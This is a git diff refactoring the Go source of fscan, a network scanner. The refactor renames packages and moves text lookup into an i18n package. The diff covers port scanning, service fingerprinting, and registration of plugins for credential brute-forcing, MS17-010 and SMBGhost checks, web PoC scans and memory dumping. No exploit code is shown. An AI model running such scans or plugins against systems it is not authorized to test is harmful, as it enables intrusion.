Common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
common.LogDebug(fmt.Sprintf("探测器 %s 匹配成功", probe.Name))
return true
}
}
@ -155,28 +155,28 @@ func (i *Info) tryProbes(response []byte, probes []*Probe) bool {
// processPortMapProbes 处理端口映射中的专用探测器
func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
// 检查是否存在端口专用探测器
if len(Common.PortMap[i.Port]) == 0 {
Common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
if len(common.PortMap[i.Port]) == 0 {
common.LogDebug(fmt.Sprintf("端口 %d 没有专用探测器", i.Port))
return false
}
// 遍历端口专用探测器
for _, name := range Common.PortMap[i.Port] {
Common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
for _, name := range common.PortMap[i.Port] {
common.LogDebug(fmt.Sprintf("尝试端口专用探测器: %s", name))
usedProbes[name] = struct{}{}
probe := v.ProbesMapKName[name]
// 解码探测数据
probeData, err := DecodeData(probe.Data)
if err != nil || len(probeData) == 0 {
Common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
common.LogDebug(fmt.Sprintf("探测器 %s 数据解码失败", name))
continue
}
// 发送探测数据并获取响应
Common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
common.LogDebug(fmt.Sprintf("发送探测数据: %d 字节", len(probeData)))
if response := i.Connect(probeData); len(response) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
common.LogDebug(fmt.Sprintf("收到响应: %d 字节", len(response)))
// 使用当前探测器检查响应
i.GetInfo(response, &probe)
@ -193,7 +193,7 @@ func (i *Info) processPortMapProbes(usedProbes map[string]struct{}) bool {
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
if i.tryProbes(response, []*Probe{commonProbe}) {
return true
}
}
@ -208,7 +208,7 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
const maxFailures = 10 // 最大失败次数
// 遍历默认探测器列表
for _, name := range Common.DefaultMap {
for _, name := range common.DefaultMap {
// 跳过已使用的探测器
if _, used := usedProbes[name]; used {
continue
@ -245,14 +245,14 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
case "NULL":
continue
default:
if i.tryProbes(response, []*Probe{common}) {
if i.tryProbes(response, []*Probe{commonProbe}) {
return true
}
}
// 尝试使用端口映射中的其他探测器
if len(Common.PortMap[i.Port]) > 0 {
for _, mappedName := range Common.PortMap[i.Port] {
if len(common.PortMap[i.Port]) > 0 {
for _, mappedName := range common.PortMap[i.Port] {
usedProbes[mappedName] = struct{}{}
mappedProbe := v.ProbesMapKName[mappedName]
i.GetInfo(response, &mappedProbe)
@ -267,11 +267,11 @@ func (i *Info) processDefaultProbes(usedProbes map[string]struct{}) bool {
// GetInfo 分析响应数据并提取服务信息
func (i *Info) GetInfo(response []byte, probe *Probe) {
Common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
common.LogDebug(fmt.Sprintf("开始分析响应数据,长度: %d", len(response)))
// 响应数据有效性检查
if len(response) <= 0 {
Common.LogDebug("响应数据为空")
common.LogDebug("响应数据为空")
return
}
@ -282,25 +282,25 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
)
// 处理主要匹配规则
Common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
common.LogDebug(fmt.Sprintf("处理探测器 %s 的主要匹配规则", probe.Name))
if matched, match := i.processMatches(response, probe.Matchs); matched {
Common.LogDebug("找到硬匹配")
common.LogDebug("找到硬匹配")
return
} else if match != nil {
Common.LogDebug("找到软匹配")
common.LogDebug("找到软匹配")
softFound = true
softMatch = *match
}
// 处理回退匹配规则
if probe.Fallback != "" {
Common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
common.LogDebug(fmt.Sprintf("尝试回退匹配: %s", probe.Fallback))
if fbProbe, ok := v.ProbesMapKName[probe.Fallback]; ok {
if matched, match := i.processMatches(response, fbProbe.Matchs); matched {
Common.LogDebug("回退匹配成功")
common.LogDebug("回退匹配成功")
return
} else if match != nil {
Common.LogDebug("找到回退软匹配")
common.LogDebug("找到回退软匹配")
softFound = true
softMatch = *match
}
@ -309,14 +309,14 @@ func (i *Info) GetInfo(response []byte, probe *Probe) {
// 处理未找到匹配的情况
if !i.Found {
Common.LogDebug("未找到硬匹配,处理未匹配情况")
common.LogDebug("未找到硬匹配,处理未匹配情况")
i.handleNoMatch(response, result, softFound, softMatch)
}
}
// processMatches 处理匹配规则集
func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match) {
Common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
common.LogDebug(fmt.Sprintf("开始处理匹配规则,共 %d 条", len(*matches)))
var softMatch *Match
for _, match := range *matches {
@ -325,11 +325,11 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
}
if !match.IsSoft {
Common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
common.LogDebug(fmt.Sprintf("找到硬匹配: %s", match.Service))
i.handleHardMatch(response, &match)
return true, nil
} else if softMatch == nil {
Common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
common.LogDebug(fmt.Sprintf("找到软匹配: %s", match.Service))
tmpMatch := match
softMatch = &tmpMatch
}
@ -340,7 +340,7 @@ func (i *Info) processMatches(response []byte, matches *[]Match) (bool, *Match)
// handleHardMatch 处理硬匹配结果
func (i *Info) handleHardMatch(response []byte, match *Match) {
Common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
common.LogDebug(fmt.Sprintf("处理硬匹配结果: %s", match.Service))
result := &i.Result
extras := match.ParseVersionInfo(response)
extrasMap := extras.ToMap()
@ -352,36 +352,36 @@ func (i *Info) handleHardMatch(response []byte, match *Match) {
// 特殊处理 microsoft-ds 服务
if result.Service.Name == "microsoft-ds" {
Common.LogDebug("特殊处理 microsoft-ds 服务")
common.LogDebug("特殊处理 microsoft-ds 服务")
result.Service.Extras["hostname"] = result.Banner
}
i.Found = true
Common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
common.LogDebug(fmt.Sprintf("服务识别结果: %s, Banner: %s", result.Service.Name, result.Banner))
}
// handleNoMatch 处理未找到匹配的情况
func (i *Info) handleNoMatch(response []byte, result *Result, softFound bool, softMatch Match) {
Common.LogDebug("处理未匹配情况")
common.LogDebug("处理未匹配情况")
result.Banner = trimBanner(response)
if !softFound {
// 尝试识别 HTTP 服务
if strings.Contains(result.Banner, "HTTP/") ||
strings.Contains(result.Banner, "html") {
Common.LogDebug("识别为HTTP服务")
common.LogDebug("识别为HTTP服务")
result.Service.Name = "http"
} else {
Common.LogDebug("未知服务")
common.LogDebug("未知服务")
result.Service.Name = "unknown"
}
} else {
Common.LogDebug("使用软匹配结果")
common.LogDebug("使用软匹配结果")
extras := softMatch.ParseVersionInfo(response)
result.Service.Extras = extras.ToMap()
result.Service.Name = softMatch.Service
i.Found = true
Common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
common.LogDebug(fmt.Sprintf("软匹配服务: %s", result.Service.Name))
}
}
@ -408,7 +408,7 @@ func (i *Info) Write(msg []byte) error {
if err != nil && strings.Contains(err.Error(), "close") {
i.Conn.Close()
// 连接关闭时重试 - 支持SOCKS5代理
i.Conn, err = Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
i.Conn, err = common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:%d", i.Address, i.Port), time.Duration(6)*time.Second)
if err == nil {
i.Conn.SetWriteDeadline(time.Now().Add(time.Second * time.Duration(WrTimeout)))
_, err = i.Conn.Write(msg)

View File

@ -1,10 +1,11 @@
package Core
package core
import (
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Common/parsers"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
"strings"
@ -18,12 +19,12 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 解析端口和排除端口
portList := parsers.ParsePort(ports)
if len(portList) == 0 {
Common.LogError("无效端口: " + ports)
common.LogError("无效端口: " + ports)
return nil
}
exclude := make(map[int]struct{})
for _, p := range parsers.ParsePort(Common.ExcludePorts) {
for _, p := range parsers.ParsePort(common.ExcludePorts) {
exclude[p] = struct{}{}
}
@ -38,16 +39,16 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
}
// 初始化端口扫描进度条
if totalTasks > 0 && Common.ShowProgress {
description := Common.GetText("progress_port_scanning")
Common.InitProgressBar(int64(totalTasks), description)
if totalTasks > 0 && common.ShowProgress {
description := i18n.GetText("progress_port_scanning")
common.InitProgressBar(int64(totalTasks), description)
}
// 初始化并发控制
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
to := time.Duration(timeout) * time.Second
sem := semaphore.NewWeighted(int64(Common.ThreadNum))
sem := semaphore.NewWeighted(int64(common.ThreadNum))
var count int64
var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx)
@ -70,11 +71,11 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
defer func() {
sem.Release(1)
// 更新端口扫描进度
Common.UpdateProgressBar(1)
common.UpdateProgressBar(1)
}()
// 连接测试 - 支持SOCKS5代理
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, to)
conn, err := common.WrapperTcpWithTimeout("tcp", addr, to)
if err != nil {
return nil
}
@ -83,14 +84,14 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
// 记录开放端口
atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{})
Common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host,
common.LogInfo("端口开放 " + addr)
common.SaveResult(&common.ScanResult{
Time: time.Now(), Type: common.PORT, Target: host,
Status: "open", Details: map[string]interface{}{"port": port},
})
// 服务识别
if Common.EnableFingerprint {
if common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name}
@ -115,8 +116,8 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
}
// 保存服务结果
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host,
common.SaveResult(&common.ScanResult{
Time: time.Now(), Type: common.SERVICE, Target: host,
Status: "identified", Details: details,
})
@ -148,7 +149,7 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
}
Common.LogInfo(sb.String())
common.LogInfo(sb.String())
}
}
@ -167,11 +168,11 @@ func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
})
// 完成端口扫描进度条
if Common.IsProgressActive() {
Common.FinishProgressBar()
if common.IsProgressActive() {
common.FinishProgressBar()
}
Common.LogBase(Common.GetText("scan_complete_ports_found", count))
common.LogBase(i18n.GetText("scan_complete_ports_found", count))
return aliveAddrs
}

View File

@ -1,9 +1,9 @@
package Core
package core
import (
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Common/parsers"
"github.com/shadow1ng/fscan/Plugins"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/parsers"
"github.com/shadow1ng/fscan/plugins"
"sort"
)
@ -12,277 +12,277 @@ import (
func init() {
// 1. 标准网络服务扫描插件
// 文件传输和远程访问服务
Common.RegisterPlugin("ftp", Common.ScanPlugin{
common.RegisterPlugin("ftp", common.ScanPlugin{
Name: "FTP",
Ports: []int{21},
ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("ssh", Common.ScanPlugin{
common.RegisterPlugin("ssh", common.ScanPlugin{
Name: "SSH",
Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("telnet", Common.ScanPlugin{
common.RegisterPlugin("telnet", common.ScanPlugin{
Name: "Telnet",
Ports: []int{23},
ScanFunc: Plugins.TelnetScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// Windows网络服务
Common.RegisterPlugin("findnet", Common.ScanPlugin{
common.RegisterPlugin("findnet", common.ScanPlugin{
Name: "FindNet",
Ports: []int{135},
ScanFunc: Plugins.Findnet,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("netbios", Common.ScanPlugin{
common.RegisterPlugin("netbios", common.ScanPlugin{
Name: "NetBIOS",
Ports: []int{139},
ScanFunc: Plugins.NetBIOS,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("smb", Common.ScanPlugin{
common.RegisterPlugin("smb", common.ScanPlugin{
Name: "SMB",
Ports: []int{445},
ScanFunc: Plugins.SmbScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 数据库服务
Common.RegisterPlugin("mssql", Common.ScanPlugin{
common.RegisterPlugin("mssql", common.ScanPlugin{
Name: "MSSQL",
Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("oracle", Common.ScanPlugin{
common.RegisterPlugin("oracle", common.ScanPlugin{
Name: "Oracle",
Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("mysql", Common.ScanPlugin{
common.RegisterPlugin("mysql", common.ScanPlugin{
Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 中间件和消息队列服务
Common.RegisterPlugin("elasticsearch", Common.ScanPlugin{
common.RegisterPlugin("elasticsearch", common.ScanPlugin{
Name: "Elasticsearch",
Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
common.RegisterPlugin("rabbitmq", common.ScanPlugin{
Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("kafka", Common.ScanPlugin{
common.RegisterPlugin("kafka", common.ScanPlugin{
Name: "Kafka",
Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("activemq", Common.ScanPlugin{
common.RegisterPlugin("activemq", common.ScanPlugin{
Name: "ActiveMQ",
Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 目录和认证服务
Common.RegisterPlugin("ldap", Common.ScanPlugin{
common.RegisterPlugin("ldap", common.ScanPlugin{
Name: "LDAP",
Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 邮件服务
Common.RegisterPlugin("smtp", Common.ScanPlugin{
common.RegisterPlugin("smtp", common.ScanPlugin{
Name: "SMTP",
Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("imap", Common.ScanPlugin{
common.RegisterPlugin("imap", common.ScanPlugin{
Name: "IMAP",
Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("pop3", Common.ScanPlugin{
common.RegisterPlugin("pop3", common.ScanPlugin{
Name: "POP3",
Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 网络管理和监控服务
Common.RegisterPlugin("snmp", Common.ScanPlugin{
common.RegisterPlugin("snmp", common.ScanPlugin{
Name: "SNMP",
Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("modbus", Common.ScanPlugin{
common.RegisterPlugin("modbus", common.ScanPlugin{
Name: "Modbus",
Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 数据同步和备份服务
Common.RegisterPlugin("rsync", Common.ScanPlugin{
common.RegisterPlugin("rsync", common.ScanPlugin{
Name: "Rsync",
Ports: []int{873},
ScanFunc: Plugins.RsyncScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// NoSQL数据库
Common.RegisterPlugin("cassandra", Common.ScanPlugin{
common.RegisterPlugin("cassandra", common.ScanPlugin{
Name: "Cassandra",
Ports: []int{9042},
ScanFunc: Plugins.CassandraScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("neo4j", Common.ScanPlugin{
common.RegisterPlugin("neo4j", common.ScanPlugin{
Name: "Neo4j",
Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 远程桌面和显示服务
Common.RegisterPlugin("rdp", Common.ScanPlugin{
common.RegisterPlugin("rdp", common.ScanPlugin{
Name: "RDP",
Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("postgres", Common.ScanPlugin{
common.RegisterPlugin("postgres", common.ScanPlugin{
Name: "PostgreSQL",
Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("vnc", Common.ScanPlugin{
common.RegisterPlugin("vnc", common.ScanPlugin{
Name: "VNC",
Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 缓存和键值存储服务
Common.RegisterPlugin("redis", Common.ScanPlugin{
common.RegisterPlugin("redis", common.ScanPlugin{
Name: "Redis",
Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("memcached", Common.ScanPlugin{
common.RegisterPlugin("memcached", common.ScanPlugin{
Name: "Memcached",
Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("mongodb", Common.ScanPlugin{
common.RegisterPlugin("mongodb", common.ScanPlugin{
Name: "MongoDB",
Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 2. 特殊漏洞扫描插件
Common.RegisterPlugin("ms17010", Common.ScanPlugin{
common.RegisterPlugin("ms17010", common.ScanPlugin{
Name: "MS17010",
Ports: []int{445},
ScanFunc: Plugins.MS17010,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
Common.RegisterPlugin("smbghost", Common.ScanPlugin{
common.RegisterPlugin("smbghost", common.ScanPlugin{
Name: "SMBGhost",
Ports: []int{445},
ScanFunc: Plugins.SmbGhost,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 3. Web应用扫描插件
Common.RegisterPlugin("webtitle", Common.ScanPlugin{
common.RegisterPlugin("webtitle", common.ScanPlugin{
Name: "WebTitle",
Ports: parsers.ParsePortsFromString(Common.WebPorts),
Ports: parsers.ParsePortsFromString(common.WebPorts),
ScanFunc: Plugins.WebTitle,
Types: []string{Common.PluginTypeWeb},
Types: []string{common.PluginTypeWeb},
})
Common.RegisterPlugin("webpoc", Common.ScanPlugin{
common.RegisterPlugin("webpoc", common.ScanPlugin{
Name: "WebPoc",
Ports: parsers.ParsePortsFromString(Common.WebPorts),
Ports: parsers.ParsePortsFromString(common.WebPorts),
ScanFunc: Plugins.WebPoc,
Types: []string{Common.PluginTypeWeb},
Types: []string{common.PluginTypeWeb},
})
// 4. Windows系统专用插件
Common.RegisterPlugin("smb2", Common.ScanPlugin{
common.RegisterPlugin("smb2", common.ScanPlugin{
Name: "SMBScan2",
Ports: []int{445},
ScanFunc: Plugins.SmbScan2,
Types: []string{Common.PluginTypeService},
Types: []string{common.PluginTypeService},
})
// 5. 本地信息收集插件
Common.RegisterPlugin("localinfo", Common.ScanPlugin{
common.RegisterPlugin("localinfo", common.ScanPlugin{
Name: "LocalInfo",
Ports: []int{},
ScanFunc: Plugins.LocalInfoScan,
Types: []string{Common.PluginTypeLocal},
Types: []string{common.PluginTypeLocal},
})
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
common.RegisterPlugin("dcinfo", common.ScanPlugin{
Name: "DCInfo",
Ports: []int{},
ScanFunc: Plugins.DCInfoScan,
Types: []string{Common.PluginTypeLocal},
Types: []string{common.PluginTypeLocal},
})
Common.RegisterPlugin("minidump", Common.ScanPlugin{
common.RegisterPlugin("minidump", common.ScanPlugin{
Name: "MiniDump",
Ports: []int{},
ScanFunc: Plugins.MiniDump,
Types: []string{Common.PluginTypeLocal},
Types: []string{common.PluginTypeLocal},
})
}
// GetAllPlugins 返回所有已注册插件的名称列表
func GetAllPlugins() []string {
pluginNames := make([]string, 0, len(Common.PluginManager))
for name := range Common.PluginManager {
pluginNames := make([]string, 0, len(common.PluginManager))
for name := range common.PluginManager {
pluginNames = append(pluginNames, name)
}
sort.Strings(pluginNames)

View File

@ -1,9 +1,10 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/webscan/lib"
"strconv"
"strings"
"sync"
@ -14,7 +15,7 @@ import (
// ScanTask 表示单个扫描任务
type ScanTask struct {
pluginName string // 插件名称
target Common.HostInfo // 目标信息
target common.HostInfo // 目标信息
}
// ScanStrategy 定义扫描策略接口
@ -24,15 +25,15 @@ type ScanStrategy interface {
Description() string
// 执行扫描的主要方法
Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
Execute(info common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup)
// 插件管理方法
GetPlugins() ([]string, bool)
LogPluginInfo()
// 任务准备方法
PrepareTargets(info Common.HostInfo) []Common.HostInfo
IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool
PrepareTargets(info common.HostInfo) []common.HostInfo
IsPluginApplicable(plugin common.ScanPlugin, targetPort int, isCustomMode bool) bool
}
// Scanner 扫描器结构体
@ -41,34 +42,34 @@ type Scanner struct {
}
// NewScanner 创建新的扫描器并选择合适的策略
func NewScanner(info Common.HostInfo) *Scanner {
func NewScanner(info common.HostInfo) *Scanner {
scanner := &Scanner{}
scanner.selectStrategy(info)
return scanner
}
// selectStrategy 根据扫描配置选择适当的扫描策略
func (s *Scanner) selectStrategy(info Common.HostInfo) {
func (s *Scanner) selectStrategy(info common.HostInfo) {
switch {
case Common.LocalMode:
case common.LocalMode:
s.strategy = NewLocalScanStrategy()
Common.LogBase("已选择本地扫描模式")
case len(Common.URLs) > 0:
common.LogBase("已选择本地扫描模式")
case len(common.URLs) > 0:
s.strategy = NewWebScanStrategy()
Common.LogBase("已选择Web扫描模式")
common.LogBase("已选择Web扫描模式")
default:
s.strategy = NewServiceScanStrategy()
Common.LogBase(Common.GetText("scan_mode_service_selected"))
common.LogBase(i18n.GetText("scan_mode_service_selected"))
}
}
// Scan 执行整体扫描流程
func (s *Scanner) Scan(info Common.HostInfo) {
Common.LogBase(Common.GetText("scan_info_start"))
func (s *Scanner) Scan(info common.HostInfo) {
common.LogBase(i18n.GetText("scan_info_start"))
lib.Inithttp()
// 并发控制初始化
ch := make(chan struct{}, Common.ThreadNum)
ch := make(chan struct{}, common.ThreadNum)
wg := sync.WaitGroup{}
// 执行策略
@ -82,16 +83,16 @@ func (s *Scanner) Scan(info Common.HostInfo) {
// finishScan 完成扫描并输出结果
func (s *Scanner) finishScan() {
// 确保进度条正确完成
if Common.IsProgressActive() {
Common.FinishProgressBar()
if common.IsProgressActive() {
common.FinishProgressBar()
}
// 输出扫描完成信息
Common.LogBase(Common.GetText("scan_task_complete", Common.End, Common.Num))
common.LogBase(i18n.GetText("scan_task_complete", common.End, common.Num))
}
// 任务执行通用框架
func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
func ExecuteScanTasks(targets []common.HostInfo, strategy ScanStrategy, ch *chan struct{}, wg *sync.WaitGroup) {
// 获取要执行的插件
pluginsToRun, isCustomMode := strategy.GetPlugins()
@ -99,14 +100,14 @@ func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan
tasks := prepareScanTasks(targets, pluginsToRun, isCustomMode, strategy)
// 输出扫描计划
if Common.ShowScanPlan && len(tasks) > 0 {
if common.ShowScanPlan && len(tasks) > 0 {
logScanPlan(tasks)
}
// 初始化进度条
if len(tasks) > 0 && Common.ShowProgress {
description := Common.GetText("progress_scanning_description")
Common.InitProgressBar(int64(len(tasks)), description)
if len(tasks) > 0 && common.ShowProgress {
description := i18n.GetText("progress_scanning_description")
common.InitProgressBar(int64(len(tasks)), description)
}
// 执行所有任务
@ -116,7 +117,7 @@ func ExecuteScanTasks(targets []Common.HostInfo, strategy ScanStrategy, ch *chan
}
// 准备扫描任务列表
func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
func prepareScanTasks(targets []common.HostInfo, pluginsToRun []string, isCustomMode bool, strategy ScanStrategy) []ScanTask {
var tasks []ScanTask
for _, target := range targets {
@ -126,7 +127,7 @@ func prepareScanTasks(targets []Common.HostInfo, pluginsToRun []string, isCustom
}
for _, pluginName := range pluginsToRun {
plugin, exists := Common.PluginManager[pluginName]
plugin, exists := common.PluginManager[pluginName]
if !exists {
continue
}
@ -160,11 +161,11 @@ func logScanPlan(tasks []ScanTask) {
planInfo.WriteString(fmt.Sprintf(" - %s: %d 个目标\n", plugin, count))
}
Common.LogBase(planInfo.String())
common.LogBase(planInfo.String())
}
// 调度单个扫描任务
func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
func scheduleScanTask(pluginName string, target common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
wg.Add(1)
*ch <- struct{}{} // 获取并发槽位
@ -174,14 +175,14 @@ func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct
defer func() {
// 捕获并记录任何可能的panic
if r := recover(); r != nil {
Common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
common.LogError(fmt.Sprintf("[PANIC] 插件 %s 扫描 %s:%s 时崩溃: %v",
pluginName, target.Host, target.Ports, r))
}
// 完成任务,释放资源
duration := time.Since(startTime)
if Common.ShowScanPlan {
Common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
if common.ShowScanPlan {
common.LogBase(fmt.Sprintf("完成 %s 扫描 %s:%s (耗时: %.2fs)",
pluginName, target.Host, target.Ports, duration.Seconds()))
}
@ -189,28 +190,28 @@ func scheduleScanTask(pluginName string, target Common.HostInfo, ch *chan struct
<-*ch // 释放并发槽位
}()
atomic.AddInt64(&Common.Num, 1)
atomic.AddInt64(&common.Num, 1)
executeSingleScan(pluginName, target)
Common.UpdateProgressBar(1)
common.UpdateProgressBar(1)
}()
}
// 执行单个扫描
func executeSingleScan(pluginName string, info Common.HostInfo) {
plugin, exists := Common.PluginManager[pluginName]
func executeSingleScan(pluginName string, info common.HostInfo) {
plugin, exists := common.PluginManager[pluginName]
if !exists {
Common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
common.LogBase(fmt.Sprintf("扫描类型 %v 无对应插件,已跳过", pluginName))
return
}
if err := plugin.ScanFunc(&info); err != nil {
Common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
common.LogError(fmt.Sprintf("扫描错误 %v:%v - %v", info.Host, info.Ports, err))
}
}
// 入口函数,向后兼容旧的调用方式
func Scan(info Common.HostInfo) {
func Scan(info common.HostInfo) {
scanner := NewScanner(info)
scanner.Scan(info)
}

View File

@ -1,9 +1,10 @@
package Core
package core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Common/parsers"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/i18n"
"github.com/shadow1ng/fscan/common/parsers"
"strings"
"sync"
)
@ -27,27 +28,27 @@ func (s *ServiceScanStrategy) Description() string {
}
// Execute 执行服务扫描策略
func (s *ServiceScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
